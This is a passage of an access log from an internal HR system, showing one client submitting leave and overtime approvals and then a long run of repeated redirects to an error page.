/eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH101%26requestno%3D132651%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132651&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [01/Dec/2025:09:50:12 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH101%26requestno%3D132651%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132651&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [01/Dec/2025:09:50:13 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [01/Dec/2025:09:50:13 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [01/Dec/2025:09:50:13 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [01/Dec/2025:09:50:13 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [01/Dec/2025:09:50:13 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [01/Dec/2025:09:50:13 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [01/Dec/2025:09:50:14 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [01/Dec/2025:09:50:14 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [01/Dec/2025:09:50:14 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [01/Dec/2025:09:50:14 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [01/Dec/2025:09:50:14 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [01/Dec/2025:09:50:14 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [01/Dec/2025:09:50:15 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [01/Dec/2025:09:50:15 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [01/Dec/2025:09:50:15 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [01/Dec/2025:09:50:15 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [01/Dec/2025:09:50:15 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [01/Dec/2025:09:50:15 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [01/Dec/2025:09:50:16 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [01/Dec/2025:09:50:16 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [01/Dec/2025:09:50:16 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [01/Dec/2025:09:50:16 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [01/Dec/2025:09:50:16 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [01/Dec/2025:09:50:16 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [01/Dec/2025:09:50:17 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [01/Dec/2025:09:50:17 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [01/Dec/2025:09:50:17 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [01/Dec/2025:09:50:17 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [01/Dec/2025:09:50:17 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [01/Dec/2025:09:50:17 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [01/Dec/2025:09:50:18 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [01/Dec/2025:09:50:18 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [01/Dec/2025:09:50:18 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [01/Dec/2025:09:50:18 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [01/Dec/2025:09:50:18 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [01/Dec/2025:09:50:18 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [01/Dec/2025:09:50:37 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5 HTTP/1.1" 200 10436 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [01/Dec/2025:09:50:37 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5 HTTP/1.1" 200 10436 192.168.139.16 - - [01/Dec/2025:09:50:40 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 200 214464 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [01/Dec/2025:09:50:40 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 200 214464 192.168.139.16 - - [01/Dec/2025:09:51:08 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [01/Dec/2025:09:51:08 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 - 192.168.139.16 - - [01/Dec/2025:09:51:10 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132652%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132652&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [01/Dec/2025:09:51:10 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132652%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132652&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [01/Dec/2025:09:51:10 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [01/Dec/2025:09:51:10 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [01/Dec/2025:09:51:11 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [01/Dec/2025:09:51:11 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [01/Dec/2025:09:51:11 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [01/Dec/2025:09:51:11 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [01/Dec/2025:09:51:11 +0800] "GET 